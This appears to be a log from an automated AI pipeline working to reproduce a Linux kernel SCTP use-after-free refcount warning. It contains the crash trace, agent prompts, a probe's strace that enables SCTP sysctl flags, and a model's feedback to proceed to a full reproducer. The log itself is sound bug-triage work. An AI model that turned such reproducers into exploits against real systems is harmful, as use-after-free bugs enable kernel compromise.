[   65.977963][   T33] kauditd_printk_skb: 5 callbacks suppressed
[   65.978013][   T33] audit: type=1400 audit(1788281753.185:215): avc:  denied  { write } for  pid=5884 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   66.018976][   T33] audit: type=1400 audit(1788281753.225:216): avc:  denied  { write } for  pid=5887 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   66.080790][   T33] audit: type=1400 audit(1788281753.285:217): avc:  denied  { write } for  pid=5890 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   66.120981][   T33] audit: type=1400 audit(1788281753.325:218): avc:  denied  { write } for  pid=5893 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   66.180290][   T33] audit: type=1400 audit(1788281753.385:219): avc:  denied  { write } for  pid=5896 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   66.221925][   T33] audit: type=1400 audit(1788281753.425:220): avc:  denied  { write } for  pid=5899 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   66.425931][ T1382] ieee802154 phy0 wpan0: encryption failed: -22
[   66.426006][ T1382] ieee802154 phy1 wpan1: encryption failed: -22
]

deep-reasoning

map[Feedback:The capability probe executed successfully. The SCTP socket was created and the required sysctl flags (addip_enable and addip_noauth_enable) were successfully enabled. The environment is ready. Please proceed to generate the full reproducer for the SCTP refcount bug in the next iteration. ProbePassed:true TerminalError: TitleMatches:false]

You are a security researcher with deep Linux kernel background.
Analyze the results of running the generated program.

=== CRITICAL ENVIRONMENT & TARGET CLASSIFICATION ===
Set 'TerminalError' to a descriptive error message ONLY if:
1. The execution failed due to missing hardware device nodes, subsystems, kernel modules, or privilege limits
   that cannot be loaded, created, or bypassed by user-space C code edits in the VM guest.
2. The target source files or functions described in the bug description do not exist in the checked-out codebase,
   meaning the codebase version is mismatched and the target code is absent.

=== CRITICAL PROHIBITIONS ===
- Do NOT classify a run as a terminal failure or assume a bug is fixed based on git log entries, commit titles,
  or commit messages. Reproducibility can ONLY be determined by executing reproducer candidates in the VM.
- Do NOT suggest C code strategies, repairs, or namespace bypasses when setting 'TerminalError'.


=== PHASE 1: CAPABILITY PROBING (EVALUATION) ===
The executed program was a simple environment probe.
Use this to guide your classification and feedback:
1. If the execution was successful (all environment/subsystem probes passed and program exited with 0),
   set the field 'ProbePassed' to true and provide feedback explicitly indicating that the environment
   is ready and the agent should now proceed to generate the full reproducer in the next iteration.
2. If the probe failed (e.g., missing permissions, missing devices, or sandbox restrictions),
   set the field 'ProbePassed' to false, and explain what failed in the 'Feedback'
   field so the generator can adjust its setups.

Prefer calling several tools at the same time to save round-trips.


Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.

Bug Description: WARNING: refcount bug in sctp_generate_timeout_event

------------[ cut here ]------------
refcount_t: addition on 0; use-after-free.
WARNING: lib/refcount.c:25 at refcount_warn_saturate+0x9f/0x110 lib/refcount.c:25, CPU#1: syz.0.2220/13955
Modules linked in:
CPU: 1 UID: 0 PID: 13955 Comm: syz.0.2220 Tainted: G             L      syzkaller #0 PREEMPT(full) 
Tainted: [L]=SOFTLOCKUP
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/16/2026
RIP: 0010:refcount_warn_saturate+0x9f/0x110 lib/refcount.c:25
Code: eb 66 85 db 74 3e 83 fb 01 75 4c e8 6b d2 e9 fc 48 8d 3d f4 46 a7 0b 67 48 0f b9 3a eb 4a e8 58 d2 e9 fc 48 8d 3d f1 46 a7 0b <67> 48 0f b9 3a eb 37 e8 45 d2 e9 fc 48 8d 3d ee 46 a7 0b 67 48 0f
RSP: 0018:ffffc90000a18c28 EFLAGS: 00010246
RAX: ffffffff84dde548 RBX: 0000000000000002 RCX: ffff88807715be80
RDX: 0000000000000100 RSI: 0000000000000100 RDI: ffffffff90852c40
RBP: 0000000000000000 R08: ffff88807715be80 R09: 0000000000000005
R10: 0000000000000004 R11: 0000000000000100 R12: dffffc0000000000
R13: 0000000000000001 R14: ffff888020fde004 R15: ffff888020fde640
FS:  00007f4a87be06c0(0000) GS:ffff888124dda000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007ff55dd92eb8 CR3: 000000005800b000 CR4: 0000000000350ef0
Call Trace:
 <IRQ>
 sctp_generate_timeout_event+0x1c8/0x390 net/sctp/sm_sideeffect.c:284
 call_timer_fn+0x18d/0x5f0 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers kernel/time/timer.c:2374 [inline]
 __run_timer_base+0x652/0x8b0 kernel/time/timer.c:2386
 run_timer_base kernel/time/timer.c:2395 [inline]
 run_timer_softirq+0xb7/0x170 kernel/time/timer.c:2405
 handle_softirqs+0x226/0x860 kernel/softirq.c:645
 __do_softirq kernel/softirq.c:679 [inline]
 invoke_softirq kernel/softirq.c:519 [inline]
 __irq_exit_rcu+0xcb/0x220 kernel/softirq.c:767
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:784
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1062 [inline]
 sysvec_apic_timer_interrupt+0xa6/0xc0 arch/x86/kernel/apic/apic.c:1062
 </IRQ>
 <TASK>
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:674
RIP: 0010:lock_acquire+0x232/0x350 kernel/locking/lockdep.c:5913
Code: ff ff ff e8 a0 a9 40 0a f7 44 24 10 00 02 00 00 0f 84 38 ff ff ff 65 48 8b 05 f2 44 f1 11 48 3b 44 24 50 75 33 fb 48 83 c4 58 <5b> 41 5c 41 5d 41 5e 41 5f 5d e9 ba 25 6d ff cc 48 8d 3d 77 31 da
RSP: 0018:ffffc9000dabfac8 EFLAGS: 00000282
RAX: b29753db72d85c00 RBX: 0000000000000001 RCX: 8000000000000001
RDX: 00000000b866b3b2 RSI: ffffffff8e6fc28f RDI: ffffffff8c6d9380
RBP: ffff88807715be80 R08: 8c00000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: ffff888066f6e418 R12: ffff888066f6e418
R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000246
 __raw_spin_lock include/linux/spinlock_api_smp.h:190 [inline]
 _raw_spin_lock+0x2e/0x40 kernel/locking/spinlock.c:173
 spin_lock include/linux/spinlock.h:347 [inline]
 __io_cq_lock io_uring/io_uring.c:484 [inline]
 __io_submit_flush_completions+0x85/0x10d0 io_uring/io_uring.c:1133
 io_submit_flush_completions io_uring/io_uring.h:253 [inline]
 io_submit_state_end io_uring/io_uring.c:1939 [inline]
 io_submit_sqes+0x1cec/0x2310 io_uring/io_uring.c:2063
 __do_sys_io_uring_enter io_uring/io_uring.c:2637 [inline]
 __se_sys_io_uring_enter+0x35b/0x1bb0 io_uring/io_uring.c:2586
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f4a86d9e159
Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f4a87bdff38 EFLAGS: 00000246 ORIG_RAX: 00000000000001aa
RAX: ffffffffffffffda RBX: 0000200000000340 RCX: 00007f4a86d9e159
RDX: 0000000000000000 RSI: 0000000000000001 RDI: 0000000000000009
RBP: 0000000000000a12 R08: 0000000000000000 R09: 0000000000000008
R10: 0000000000000000 R11: 0000000000000246 R12: 0000200000000940
R13: 0000200000000948 R14: 0000000000000e26 R15: 0000000000000002
 </TASK>
----------------
Code disassembly (best guess):
   0:	eb 66                	jmp    0x68
   2:	85 db                	test   %ebx,%ebx
   4:	74 3e                	je     0x44
   6:	83 fb 01             	cmp    $0x1,%ebx
   9:	75 4c                	jne    0x57
   b:	e8 6b d2 e9 fc       	call   0xfce9d27b
  10:	48 8d 3d f4 46 a7 0b 	lea    0xba746f4(%rip),%rdi        # 0xba7470b
  17:	67 48 0f b9 3a       	ud1    (%edx),%rdi
  1c:	eb 4a                	jmp    0x68
  1e:	e8 58 d2 e9 fc       	call   0xfce9d27b
  23:	48 8d 3d f1 46 a7 0b 	lea    0xba746f1(%rip),%rdi        # 0xba7471b
* 2a:	67 48 0f b9 3a       	ud1    (%edx),%rdi <-- trapping instruction
  2f:	eb 37                	jmp    0x68
  31:	e8 45 d2 e9 fc       	call   0xfce9d27b
  36:	48 8d 3d ee 46 a7 0b 	lea    0xba746ee(%rip),%rdi        # 0xba7472b
  3d:	67                   	addr32
  3e:	48                   	rex.W
  3f:	0f                   	.byte 0xf

IsProbe: true
Reproduced: false
Console Output: [   61.667986][   T34] kauditd_printk_skb: 10 callbacks suppressed
[   61.671060][   T34] audit: type=1400 audit(1788281667.480:200): avc:  denied  { transition } for  pid=5824 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   61.671119][   T34] audit: type=1400 audit(1788281667.480:201): avc:  denied  { noatsecure } for  pid=5824 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   61.671173][   T34] audit: type=1400 audit(1788281667.480:202): avc:  denied  { rlimitinh } for  pid=5824 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   61.671218][   T34] audit: type=1400 audit(1788281667.480:203): avc:  denied  { siginh } for  pid=5824 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   64.401854][   T34] audit: type=1400 audit(1788281670.210:204): avc:  denied  { write } for  pid=5833 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   64.436176][   T34] audit: type=1400 audit(1788281670.250:205): avc:  denied  { write } for  pid=5836 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
Warning: Permanently added '[localhost]:51304' (ED25519) to the list of known hosts.
[+] SCTP socket created successfully.
[+] Successfully enabled addip_enable.
[+] Successfully enabled addip_noauth_enable.
[   65.083929][   T34] audit: type=1400 audit(1788281670.900:206): avc:  denied  { create } for  pid=5846 comm="syz-executor728" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=sctp_socket permissive=1
[   65.238200][   T34] audit: type=1400 audit(1788281671.050:207): avc:  denied  { write } for  pid=5847 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   65.276079][   T34] audit: type=1400 audit(1788281671.090:208): avc:  denied  { write } for  pid=5850 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   66.353987][   T34] audit: type=1400 audit(1788281672.170:209): avc:  denied  { write } for  pid=5853 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   66.443194][ T1380] ieee802154 phy0 wpan0: encryption failed: -22
[   66.443267][ T1380] ieee802154 phy1 wpan1: encryption failed: -22
[   66.791758][   T34] kauditd_printk_skb: 3 callbacks suppressed
[   66.791820][   T34] audit: type=1400 audit(1788281672.600:213): avc:  denied  { write } for  pid=5865 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   66.832050][   T34] audit: type=1400 audit(1788281672.640:214): avc:  denied  { write } for  pid=5868 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   67.076098][   T34] audit: type=1400 audit(1788281672.890:215): avc:  denied  { write } for  pid=5871 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   67.116347][   T34] audit: type=1400 audit(1788281672.930:216): avc:  denied  { write } for  pid=5874 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   67.335571][   T34] audit: type=1400 audit(1788281673.150:217): avc:  denied  { write } for  pid=5877 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   67.375009][   T34] audit: type=1400 audit(1788281673.190:218): avc:  denied  { write } for  pid=5880 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   67.724626][   T34] audit: type=1400 audit(1788281673.540:219): avc:  denied  { write } for  pid=5883 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   67.764838][   T34] audit: type=1400 audit(1788281673.580:220): avc:  denied  { write } for  pid=5886 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1

Strace Output: /strace -e \!wait4,clock_nanosleep,nanosleep -s 100 -x -f /syz-executor2049624753

<...>
[   60.479768][   T33] kauditd_printk_skb: 10 callbacks suppressed
[   60.479836][   T33] audit: type=1400 audit(1788281747.685:200): avc:  denied  { transition } for  pid=5832 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   60.479873][   T33] audit: type=1400 audit(1788281747.685:201): avc:  denied  { noatsecure } for  pid=5832 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   60.489437][   T33] audit: type=1400 audit(1788281747.685:202): avc:  denied  { rlimitinh } for  pid=5832 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   60.489455][   T33] audit: type=1400 audit(1788281747.685:203): avc:  denied  { siginh } for  pid=5832 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   63.641838][   T33] audit: type=1400 audit(1788281750.845:204): avc:  denied  { write } for  pid=5844 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   63.687368][   T33] audit: type=1400 audit(1788281750.895:205): avc:  denied  { write } for  pid=5847 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   63.880118][   T33] audit: type=1400 audit(1788281751.085:206): avc:  denied  { write } for  pid=5850 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   63.917661][   T33] audit: type=1400 audit(1788281751.125:207): avc:  denied  { write } for  pid=5853 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   64.418858][   T33] audit: type=1400 audit(1788281751.625:208): avc:  denied  { write } for  pid=5856 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   64.503302][   T33] audit: type=1400 audit(1788281751.705:209): avc:  denied  { write } for  pid=5859 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
Warning: Permanently added '[localhost]:14429' (ED25519) to the list of known hosts.
execve("/syz-executor2049624753", ["/syz-executor2049624753"], 0x7ffda83456f0 /* 11 vars */) = 0
brk(NULL)                               = 0x55557e780000
brk(0x55557e780d80)                     = 0x55557e780d80
arch_prctl(ARCH_SET_FS, 0x55557e780400) = 0
set_tid_address(0x55557e7806d0)         = 5877
set_robust_list(0x55557e7806e0, 24)     = 0
rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
readlinkat(AT_FDCWD, "/proc/self/exe", "/syz-executor2049624753", 4096) = 23
getrandom("\x12\xe5\xc4\x8f\x1b\xf1\xf4\xb3", 8, GRND_NONBLOCK) = 8
brk(NULL)                               = 0x55557e780d80
brk(0x55557e7a1d80)                     = 0x55557e7a1d80
brk(0x55557e7a2000)                     = 0x55557e7a2000
mprotect(0x7fd7da22d000, 20480, PROT_READ) = 0
socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP) = 3
fstat(1, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
close(3)                                = 0
openat(AT_FDCWD, "/proc/sys/net/sctp/addip_enable", O_WRONLY) = 3
write(3, "1", 1)                        = 1
close(3)                                = 0
openat(AT_FDCWD, "/proc/sys/net/sctp/addip_noauth_enable", O_WRONLY) = 3
write(3, "1", 1)                        = 1
close(3)                                = 0
[+] SCTP socket created successfully.
[+] Successfully enabled addip_enable.
[+] Successfully enabled addip_noauth_enable.
write(1, "[+] SCTP socket created successfully.\n[+] Successfully enabled addip_enable.\n[+] Successfully enable"..., 123) = 123
exit_group(0)                           = ?
+++ exited with 0 +++
[   65.977963][   T33] kauditd_printk_skb: 5 callbacks suppressed
[   65.978013][   T33] audit: type=1400 audit(1788281753.185:215): avc:  denied  { write } for  pid=5884 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   66.018976][   T33] audit: type=1400 audit(1788281753.225:216): avc:  denied  { write } for  pid=5887 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   66.080790][   T33] audit: type=1400 audit(1788281753.285:217): avc:  denied  { write } for  pid=5890 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   66.120981][   T33] audit: type=1400 audit(1788281753.325:218): avc:  denied  { write } for  pid=5893 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   66.180290][   T33] audit: type=1400 audit(1788281753.385:219): avc:  denied  { write } for  pid=5896 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   66.221925][   T33] audit: type=1400 audit(1788281753.425:220): avc:  denied  { write } for  pid=5899 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   66.425931][ T1382] ieee802154 phy0 wpan0: encryption failed: -22
[   66.426006][ T1382] ieee802154 phy1 wpan1: encryption failed: -22

Crash Report: 

gemini-3.1-pro-preview

							input: 11652
							output: 92
							thoughts: 296
						

**My Analysis of the Environment Probe Results**

Alright, let's break down what I've just seen from this environment probe. My primary goal here is to assess the results and determine the next steps for generating a full reproducer.

Looking at the console output, I see some clear affirmations: "SCTP socket created successfully," "Successfully enabled addip_enable," and "Successfully enabled addip_noauth_enable." This tells me that the fundamental setup for SCTP socket creation and the specific `addip` kernel parameters were accessible and modifiable as expected.

Cross-referencing this with the `strace` output, I can see the underlying system calls that corroborate these console messages. The `socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP)` call confirms the successful creation of the SCTP socket, and the subsequent `openat` and `write` calls to `/proc/sys/net/sctp/addip_enable` and `/proc/sys/net/sctp/addip_noauth_enable` with the value "1" demonstrate that I was able to enable these specific SCTP features. The `exit_group(0)` and the "exited with 0" message confirm that the probe ran without any unhandled errors.

Given this, it's evident that the probe itself has passed. There was no crash report generated, which is precisely what I anticipate from a simple environment check; its purpose isn't to induce failures but to verify baseline conditions.

Therefore, my internal state should reflect this: `ProbePassed` will be set to `true`. Since there was no crash, `TitleMatches` should logically be `false`. The `TerminalError` field is also empty, as expected, indicating no critical, unrecoverable errors encountered during the probe execution.

Finally, for `Feedback`, I need to convey that the environment appears to be suitably configured and ready. The agent should be instructed to proceed with generating the full reproducer, as the prerequisites verified by this probe have been met.

map[Feedback:The capability probe executed successfully. The SCTP socket was created and the required sysctl flags (addip_enable and addip_noauth_enable) were successfully enabled. The environment is ready. Please proceed to generate the full reproducer for the SCTP refcount bug in the next iteration. ProbePassed:true TerminalError: TitleMatches:false]

map[Feedback:The capability probe executed successfully. The SCTP socket was created and the required sysctl flags (addip_enable and addip_noauth_enable) were successfully enabled. The environment is ready. Please proceed to generate the full reproducer for the SCTP refcount bug in the next iteration. ProbePassed:true TerminalError: TitleMatches:false]

map[CapabilitiesVerified:true ContinueSignal:continue EquivalenceAnalysis: OracleFeedback:The capability probe executed successfully. The SCTP socket was created and the required sysctl flags (addip_enable and addip_noauth_enable) were successfully enabled. The environment is ready. Please proceed to generate the full reproducer for the SCTP refcount bug in the next iteration. ReproC: Reproduced:false ReproducedBugTitle: ReproducedCrashReport:]

map[OracleFeedback:The capability probe executed successfully. The SCTP socket was created and the required sysctl flags (addip_enable and addip_noauth_enable) were successfully enabled. The environment is ready. Please proceed to generate the full reproducer for the SCTP refcount bug in the next iteration.]

deep-reasoning

You are an expert in Linux kernel debugging.
Refine the reproduction strategy based on feedback from previous attempts.
Analyze the technical diagnosis provided in the oracle feedback and translate it into concrete,
step-by-step instructions for the repro-generator on how to modify the code structure, alignments,
offsets, or parameters of the candidate program.

=== TOOL SELECTION GUIDELINES ===
- Prefer codesearch-definition-source and codesearch-struct-layout first for symbol lookups.
- Fall back to read-file or grepper for macros, headers, or if symbol lookup fails.

=== CRITICAL PROHIBITIONS ===
- Do NOT repeat searches for the same symbols or files. Use information you have already gathered.
- Do NOT write long explanations. Keep your reasoning short and focused on actionable changes.
- Do NOT assume a bug is fixed based on git commit history.
- If you are stuck, try a different approach or proceed to generate a candidate reproducer.
Prefer calling several tools at the same time to save round-trips.

Bug Description: WARNING: refcount bug in sctp_generate_timeout_event

------------[ cut here ]------------
refcount_t: addition on 0; use-after-free.
WARNING: lib/refcount.c:25 at refcount_warn_saturate+0x9f/0x110 lib/refcount.c:25, CPU#1: syz.0.2220/13955
Modules linked in:
CPU: 1 UID: 0 PID: 13955 Comm: syz.0.2220 Tainted: G             L      syzkaller #0 PREEMPT(full) 
Tainted: [L]=SOFTLOCKUP
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/16/2026
RIP: 0010:refcount_warn_saturate+0x9f/0x110 lib/refcount.c:25
Code: eb 66 85 db 74 3e 83 fb 01 75 4c e8 6b d2 e9 fc 48 8d 3d f4 46 a7 0b 67 48 0f b9 3a eb 4a e8 58 d2 e9 fc 48 8d 3d f1 46 a7 0b <67> 48 0f b9 3a eb 37 e8 45 d2 e9 fc 48 8d 3d ee 46 a7 0b 67 48 0f
RSP: 0018:ffffc90000a18c28 EFLAGS: 00010246
RAX: ffffffff84dde548 RBX: 0000000000000002 RCX: ffff88807715be80
RDX: 0000000000000100 RSI: 0000000000000100 RDI: ffffffff90852c40
RBP: 0000000000000000 R08: ffff88807715be80 R09: 0000000000000005
R10: 0000000000000004 R11: 0000000000000100 R12: dffffc0000000000
R13: 0000000000000001 R14: ffff888020fde004 R15: ffff888020fde640
FS:  00007f4a87be06c0(0000) GS:ffff888124dda000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007ff55dd92eb8 CR3: 000000005800b000 CR4: 0000000000350ef0
Call Trace:
 <IRQ>
 sctp_generate_timeout_event+0x1c8/0x390 net/sctp/sm_sideeffect.c:284
 call_timer_fn+0x18d/0x5f0 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers kernel/time/timer.c:2374 [inline]
 __run_timer_base+0x652/0x8b0 kernel/time/timer.c:2386
 run_timer_base kernel/time/timer.c:2395 [inline]
 run_timer_softirq+0xb7/0x170 kernel/time/timer.c:2405
 handle_softirqs+0x226/0x860 kernel/softirq.c:645
 __do_softirq kernel/softirq.c:679 [inline]
 invoke_softirq kernel/softirq.c:519 [inline]
 __irq_exit_rcu+0xcb/0x220 kernel/softirq.c:767
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:784
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1062 [inline]
 sysvec_apic_timer_interrupt+0xa6/0xc0 arch/x86/kernel/apic/apic.c:1062
 </IRQ>
 <TASK>
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:674
RIP: 0010:lock_acquire+0x232/0x350 kernel/locking/lockdep.c:5913
Code: ff ff ff e8 a0 a9 40 0a f7 44 24 10 00 02 00 00 0f 84 38 ff ff ff 65 48 8b 05 f2 44 f1 11 48 3b 44 24 50 75 33 fb 48 83 c4 58 <5b> 41 5c 41 5d 41 5e 41 5f 5d e9 ba 25 6d ff cc 48 8d 3d 77 31 da
RSP: 0018:ffffc9000dabfac8 EFLAGS: 00000282
RAX: b29753db72d85c00 RBX: 0000000000000001 RCX: 8000000000000001
RDX: 00000000b866b3b2 RSI: ffffffff8e6fc28f RDI: ffffffff8c6d9380
RBP: ffff88807715be80 R08: 8c00000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: ffff888066f6e418 R12: ffff888066f6e418
R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000246
 __raw_spin_lock include/linux/spinlock_api_smp.h:190 [inline]
 _raw_spin_lock+0x2e/0x40 kernel/locking/spinlock.c:173
 spin_lock include/linux/spinlock.h:347 [inline]
 __io_cq_lock io_uring/io_uring.c:484 [inline]
 __io_submit_flush_completions+0x85/0x10d0 io_uring/io_uring.c:1133
 io_submit_flush_completions io_uring/io_uring.h:253 [inline]
 io_submit_state_end io_uring/io_uring.c:1939 [inline]
 io_submit_sqes+0x1cec/0x2310 io_uring/io_uring.c:2063
 __do_sys_io_uring_enter io_uring/io_uring.c:2637 [inline]
 __se_sys_io_uring_enter+0x35b/0x1bb0 io_uring/io_uring.c:2586
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f4a86d9e159
Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f4a87bdff38 EFLAGS: 00000246 ORIG_RAX: 00000000000001aa
RAX: ffffffffffffffda RBX: 0000200000000340 RCX: 00007f4a86d9e159
RDX: 0000000000000000 RSI: 0000000000000001 RDI: 0000000000000009
RBP: 0000000000000a12 R08: 0000000000000000 R09: 0000000000000008
R10: 0000000000000000 R11: 0000000000000246 R12: 0000200000000940
R13: 0000200000000948 R14: 0000000000000e26 R15: 0000000000000002
 </TASK>
----------------
Code disassembly (best guess):
   0:	eb 66                	jmp    0x68
   2:	85 db                	test   %ebx,%ebx
   4:	74 3e                	je     0x44
   6:	83 fb 01             	cmp    $0x1,%ebx
   9:	75 4c                	jne    0x57
   b:	e8 6b d2 e9 fc       	call   0xfce9d27b
  10:	48 8d 3d f4 46 a7 0b 	lea    0xba746f4(%rip),%rdi        # 0xba7470b
  17:	67 48 0f b9 3a       	ud1    (%edx),%rdi
  1c:	eb 4a                	jmp    0x68
  1e:	e8 58 d2 e9 fc       	call   0xfce9d27b
